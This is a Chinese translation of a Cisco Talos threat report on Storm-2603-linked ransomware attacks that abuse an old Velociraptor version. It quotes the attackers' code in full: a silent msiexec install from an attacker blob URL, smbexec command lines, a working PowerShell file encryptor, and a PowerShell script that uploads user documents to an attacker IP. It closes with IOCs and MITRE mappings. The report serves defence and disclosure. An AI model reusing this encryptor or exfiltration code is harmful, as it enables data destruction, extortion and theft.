Velociraptor工具在勒索软件攻击中的滥用分析

思科Talos确认勒索软件操作者正在滥用Velociraptor这一开源数字取证和事件响应工具。攻击者利用存在权限提升漏洞的旧版本工具维持持久访问,并部署多种勒索软件变种。文章详细分析了攻击活动技术细节、归因评估和缓解建议。

Velociraptor在勒索软件攻击中的滥用

思科Talos已确认勒索软件操作者正在滥用Velociraptor,这是一个开源数字取证和事件响应(DFIR)工具,此前尚未明确与勒索软件事件相关联。我们基于重叠的工具和战术、技术与程序(TTPs),以中等置信度评估此活动可归因于威胁行为者Storm-2603。Talos还在受害者网络上观察到Babuk勒索软件文件的证据,这是Storm-2603先前未部署过的。

更新:2025年10月17日 关于CVE-2025-6264的澄清说明

2025年8月,Talos响应了一起勒索软件攻击,攻击者基于其勒索笔记和使用Warlock的数据泄露网站(DLS),似乎与Warlock勒索软件有关联。他们部署了Warlock、LockBit和Babuk勒索软件来加密VMware ESXi虚拟机和Windows服务器,严重影响了客户的IT环境。

图1. 勒索软件笔记

Velociraptor工具

Velociraptor专为安全团队设计,通过跨Windows、Linux和Mac系统部署客户端代理来持续收集数据并响应安全事件,用于端点监控。

在该活动中,Velociraptor发挥了重要作用,确保攻击者在部署LockBit和Babuk勒索软件时保持隐蔽的持久访问。获得初始访问权限后,攻击者安装了一个存在权限提升漏洞(CVE-2025-6264)的旧版Velociraptor(版本0.73.4.0),该漏洞可能导致任意命令执行和端点接管。虽然我们无法确定此漏洞是否在活动中被利用以获得持久性,但其存在凸显了Velociraptor被滥用的可能性。

据报道,威胁行为者还利用Velociraptor下载并执行Visual Studio Code,可能意图创建到攻击者控制的命令与控制(C2)服务器的隧道。该工具加入勒索软件攻击手册与Talos 2024年度回顾的发现一致,该回顾强调威胁行为者正在利用越来越多的商业和开源产品。

归因于Storm-2603和ToolShell关联

Talos基于重叠的工具和TTPs,以中等置信度评估此活动可归因于Storm-2603组织。Storm-2603是一个疑似位于中国的威胁行为者,于2025年7月首次被识别,当时他们开始利用被称为ToolShell的本地SharePoint漏洞。

与Talos在此次活动中观察到的类似,Storm-2603以在同一活动中部署Warlock勒索软件和Lockbit勒索软件而闻名。虽然LockBit被多种勒索软件行为者广泛部署,但Warlock于2025年6月首次被宣传,此后被Storm-2603大量使用。此外,攻击者在同一次攻击中使用两种不同的勒索软件变种极为罕见,这增加了我们对此活动可能与Storm-2603相关的置信度。

此次活动的威胁行为者还镜像了多个Storm-2603的TTPs,基于微软的报告:

  • 使用cmd.exe和批处理脚本
  • 禁用Microsoft Defender保护
  • 创建计划任务
  • 操纵Internet信息服务(IIS)组件以加载可疑的.NET程序集
  • 修改组策略对象(GPOs)

虽然由于对受害者组织数据的访问有限,Talos无法观察攻击者如何获得初始访问权限,但他们暴露于ToolShell漏洞以及我们对Storm-2603的归因增加了通过ToolShell利用获得初始访问权限的可能性。

活动概述

与该活动相关的首次高置信度可疑活动迹象出现在2025年8月中旬,攻击者试图在受感染环境中提升权限并横向移动。我们观察到威胁行为者创建了通过域控制器同步到Entra ID(原Azure Active Directory)的管理员账户。同一攻击者控制的管理员账户还访问了VMware vSphere控制台,这是一个用于管理和与虚拟机交互的界面,可能允许对虚拟环境的持久访问。

值得注意的是,威胁行为者在多个服务器上安装了旧版Velociraptor以维持持久性,使用以下命令。我们观察到即使在主机被隔离后,Velociraptor仍多次启动。

1
msiexec  /q /i hxxps[:]//stoaccinfoniqaveeambkp.blob.core.windows[.]net/veeam/v2.msi 

攻击者还执行了以下命令来运行Smbexec,这是一个随Impacket提供的Python脚本,允许攻击者使用SMB协议远程启动程序:

1
2
%COMSPEC% /Q /c echo cd ^> \\%COMPUTERNAME%\C$\__output 2^>^&1 > %SYSTEMROOT%\TkTvjYUp.bat & %COMSPEC% /Q /c %SYSTEMROOT%\TkTvjYUp.bat & del %SYSTEMROOT%\TkTvjYUp.bat  
C:\Windows\System32\cmd.exe cmd.exe /Q /c cmd /c c:\windows\temp\1.bat /y 1> \Windows\Temp\suLGnR 2>&1

为削弱防御并逃避检测,攻击者修改了Active Directory(AD)GPOs并:

  • 启用“关闭实时保护”,该功能持续监控潜在威胁如病毒、恶意软件和间谍软件
  • 禁用“行为监控”,该功能通过观察与已建立正常行为模式的偏差来阻止可疑活动
  • 禁用“监控计算机上的文件和程序活动”,该功能观察软件行为以识别与恶意活动相关的模式

攻击者部署了一个具有加密功能的无文件Powershell脚本,我们相信这是在Windows机器上部署大规模加密的主要加密器:

1
function GER($n) {-join (1..$n|%{"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-=+[]{}|;:',.<>?`~"[(Get-Random -Maximum 74)]})}function err($pl,$sf){$rsa=New-Object System.Security.Cryptography.RSACryptoServiceProvider;$rsa.FromXmlString($sf);$PB=[Text.Encoding]::UTF8.GetBytes($pl);$rsa.Encrypt($PB,$false)} function gg($path) {$ke = GER(32);$ig =GER(16);$sf = 'tdIXltqjmTpXRB43p+k6X9+JqBZvsD7+X4GsM0AVh0QS6Oev5RVAaQqc6m2pEKN7AYARcpz9iNy5JOB/T+OtWmqxd42bLH+iAUjc1kc1qk1Cg38t7obrGja8L7UMoJkb97ry0ngak9BlqaS7P+wzApOLVJoBNxaJ2rCoj7+Crh3p3Vm2/7/o4pMjgg4S838jw6aiRbag/v4SR86oupqjBvKxsAcZo5A4NDFoZ29j/IMa6GNpMkVjsNPjvB/GIqGcbTqJkb8HGSXw3KvHqwqfsB+01VTsbO7B8kIkOr4jB/M+bHFwgYkUG4rS2s/yJcOOkzH0tJwEj11tLv2bHSzoQQ==AQAB'; $eec=err -pl $ke+$ig -sf $sf;$eee=[System.Convert]::ToBase64String($eec);$key=[System.Text.Encoding]::UTF8.GetBytes($ke);$iv=[System.Text.Encoding]::UTF8.GetBytes($ig);try{$files=gci $path -Recurse -Include .pdf,.txt, *.doc, *.docx, *.odt, *.rtf, *.md, *.csv, *.tsv, *.jpg, *.jpeg, *.tiff, *.mp3, *.xls, *.xlsx, *.ods, *.ppt, *.pptx, *.odp, *.py, *.java, *.cpp, *.c, *.html, *.css, *.js, *.php, *.swift, *.kotlin, *.go, *.rb, *.sh, *.sql, *.db, *.sqlite, *.sqlite3, *.mdb, *.sql, *.zip, *.rar, *.7z, *.tar, *.gz, *.bz2, *.iso, *.torrent, *.ini, *.json, *.xml, *.log, *.bak, *.cfg, *.psd, *.vmdk | select -Expand FullName; foreach ($file in $files) { try {EFI $file $key $iv $eee} catch{}}} catch {Write-Host $ }} function EFI($ifi,$key,$iv,$aT) {if($ifi.EndsWith(".xlockxlock", [System.StringComparison]::OrdinalIgnoreCase)) {return};$aes = [System.Security.Cryptography.Aes]::Create();$aes.KeySize = 256;$aes.Key=$key;$aes.IV=$iv;try{$yy=New-Object System.IO.FileStream($ifi, [System.IO.FileMode]::Open,[System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::None); $xx=$aes.CreateEncryptor($aes.Key, $aes.IV); $mm = New-Object System.Security.Cryptography.CryptoStream($yy, $xx, [System.Security.Cryptography.CryptoStreamMode]::Write); $yy.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null; $jj = New-Object byte[] ($yy.Length); $yy.Read($jj, 0, $jj.Length) | Out-Null; $yy.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null; $mm.Write($jj, 0, $jj.Length); $mm.FlushFinalBlock(); $se = 1 } catch { Write-Error $_ } finally {if ($mm) { $mm.Dispose() } if ($yy) { $yy.Dispose() } }try {$kk = [System.Text.Encoding]::UTF8.GetBytes($aT);$bb = New-Object System.IO.FileStream($ifi,[System.IO.FileMode]::Append,[System.IO.FileAccess]::Write,[System.IO.FileShare]::None);if ($se){$bb.Write($kk, 0, $kk.Length)}} catch {Write-Error $_} finally {if ($bb) { $bb.Dispose();if ($se){ren $ifi -NewName $ifi".xlockxlock";}}}};$vg =gdr -PS FileSystem | select -Expand Root;foreach ($II in $vg) {gg -path "$II"}

脚本部署后,Talos在Windows机器上观察到被EDR解决方案识别为LockBit的勒索软件可执行文件,以及使用Warlock扩展名"xlockxlock"加密的文件。ESXi服务器上还有一个被标记为Babuk加密器的Linux二进制文件,仅实现部分加密并为文件附加".babyk"。根据公开报告,Storm-2603先前未利用Babuk勒索软件。

攻击者还进行了双重勒索,使用以下PowerShell脚本外泄数据。为逃避检测,外泄脚本显示"$ProgressPreference"设置为"SilentlyContinue",这会抑制命令进度的任何视觉指示。它还包括"start-sleep" cmdlet,该cmdlet将脚本暂停指定时间。此cmdlet可用于抑制分析,因为许多恶意软件分析工具(如沙箱)具有有限的时间窗口,并用于避免触发可能识别快速连续脚本活动的安全警报。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
function GR {$numbers = 1..20;$numbers | Get-Random }  
function Upfile { 
    param ( 
        [string]$path = "C:\Users\", 
        [int]$maxConcurrentJobs = 40  # 
    ) 
    Add-Type -AssemblyName System.Web 
    try { 
        $files = Get-ChildItem -Path $path -Recurse -Include *.doc,*.docx,*.xlsx,*.ppt,*.pptx,*.xls -ErrorAction SilentlyContinue |  
                Where-Object { $_.Length -lt 50MB } |  
                Select-Object -ExpandProperty FullName 
        $uploadScriptBlock = { 
            param ($file, $grValue) 
            try { 
                Add-Type -AssemblyName System.Web 
                $fileName = Split-Path -Path $file -Leaf 
                $encodedFileName = [System.Web.HttpUtility]::UrlEncode($fileName) 
                $uploadUrl = "http[:]//65.38.121[.]226/test/$encodedFileName" 
                Write-Host "upload $file to $uploadUrl" 
                $ProgressPreference = 'SilentlyContinue' 
                $maxRetries = 3;$retryCount = 0 
while ($retryCount -lt $maxRetries) { 
            try { 
$wc = New-Object System.Net.WebClient;$wc.UploadFile($uploadUrl, "PUT", $file) | Out-Null 
                Write-Host "upload Sucess $fileName" 
                break 
}  
catch { 
                $retryCount++ 
                Write-Host "upload $fileName retry $retryCount error: $_" 
                Start-Sleep -Seconds 2 
                }  
                finally {$wc.Dispose()}}}  
       catch  
            { 
                Write-Host "upload $fileName error: $_" 
            } 
            finally {$wc.Dispose()} 
        
        } 
        $grValue = GR 
        $jobs = @() 
        foreach ($file in $files) { 
            while ((Get-Job -State Running).Count -ge $maxConcurrentJobs) {Start-Sleep -Milliseconds 100} 
            $jobs += Start-Job -ScriptBlock $uploadScriptBlock -ArgumentList $file, $grValue 
        } 
        $jobs | Wait-Job | ForEach-Object { 
            Receive-Job -Job $_ -Keep 
            Remove-Job -Job $_ 
        } 
    } catch { 
        Write-Host "getfile error: $_" 
    } 
} 
$drives = @("C:\Users\", "D:\", "E:\", "F:\", "K:\") 
foreach ($drive in $drives) { 
    if (Test-Path $drive) {Upfile -Path $drive   } 
    else {Write-Host "Drive $drive is not accessible." -ForegroundColor Yellow} 
}

缓解建议

请参阅Talos的勒索软件入门指南,了解如何防范勒索软件威胁的详细建议。

我们还建议参考Talos关于ToolShell的博客,了解这些漏洞的信息以及如何修补它们。此外,Rapid7发布了一些关于检测Velociraptor滥用的建议。

MITRE ATT&CK技术

资源开发

  • T1584.003 危害基础设施:虚拟专用服务器

执行

  • T1059.001 PowerShell

持久性

  • T1136 创建账户
  • T1505.006 服务器软件组件:vSphere安装包

权限提升

  • T1098.007 账户操纵:额外的本地或域组
  • T1098 账户操纵

防御规避

  • T1556 修改认证过程
  • T1484.001 域或租户策略修改:组策略修改

横向移动

  • T1021.001 远程服务:远程桌面协议

收集

  • T1213 来自信息存储库的数据

外泄

  • T1041 通过C2通道外泄

影响

  • T1486 数据加密影响
  • T1657 财务盗窃

防护覆盖

Cisco Secure Endpoint(原AMP for Endpoints)非常适合防止本文所述恶意软件的执行。在此免费试用Secure Endpoint。

Cisco Secure Email(原Cisco Email Security)可阻止威胁行为者作为其活动一部分发送的恶意电子邮件。在此免费试用Secure Email。

Cisco Secure Firewall(原下一代防火墙和Firepower NGFW)设备,如Threat Defense Virtual、Adaptive Security Appliance和Meraki MX,可检测与此威胁相关的恶意活动。

Cisco Secure Network/Cloud Analytics(Stealthwatch/Stealthwatch Cloud)自动分析网络流量,并提醒用户每个连接设备上可能不需要的活动。

Cisco Secure Malware Analytics(Threat Grid)识别恶意二进制文件,并将保护构建到所有Cisco Secure产品中。

Cisco Secure Access是基于零信任原则构建的现代云交付安全服务边缘(SSE)。Secure Access提供无缝透明和安全的互联网、云服务或私有应用程序访问,无论用户在哪里工作。如果您有兴趣免费试用Cisco Secure Access,请联系您的Cisco客户代表或授权合作伙伴。

Umbrella是Cisco的安全互联网网关(SIG),阻止用户连接到恶意域、IP和URL,无论用户是在公司网络内部还是外部。

Cisco Secure Web Appliance(原Web Security Appliance)自动阻止可能危险的站点,并在用户访问之前测试可疑站点。

Firewall Management Center提供针对您特定环境和威胁数据的额外防护上下文。

Cisco Duo为用户提供多因素认证,确保只有授权人员才能访问您的网络。

开源Snort订阅规则集客户可以通过下载Snort.org上可供购买的最新规则包来保持更新。

以下ClamAV检测覆盖此威胁:

  • Win.Ransomware.Warlock-10057029-0

IOCs

本研究中的IOCs也可在我们的GitHub存储库中找到。

C2/外泄IP地址:

  • 65.38.[121][.]226

托管恶意MSI的域:

  • stoaccinfoniqaveeambkp.blob.core.windows[.]net

Velociraptor C2服务器:

  • velo.qaubctgg.workers[.]dev

Velociraptor:

  • 对手用于持久性的合法工具
  • Velociraptor安装程序 – 649BDAA38E60EDE6D140BD54CA5412F1091186A803D3905465219053393F6421
  • Velociraptor.exe - 12F177290A299BAE8A363F47775FB99F305BBDD56BBDFDDB39595B43112F9FB7
  • 恶意Velociraptor config.yaml - A29125333AD72138D299CC9EF09718DDB417C3485F6B8FE05BA88A08BB0E5023

Internal Monologue NTLM降级恶意软件:

  • In.exe- C74897B1E986E2876873ABB3B5069BF1B103667F7F0E6B4581FBDA3FD647A74A
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计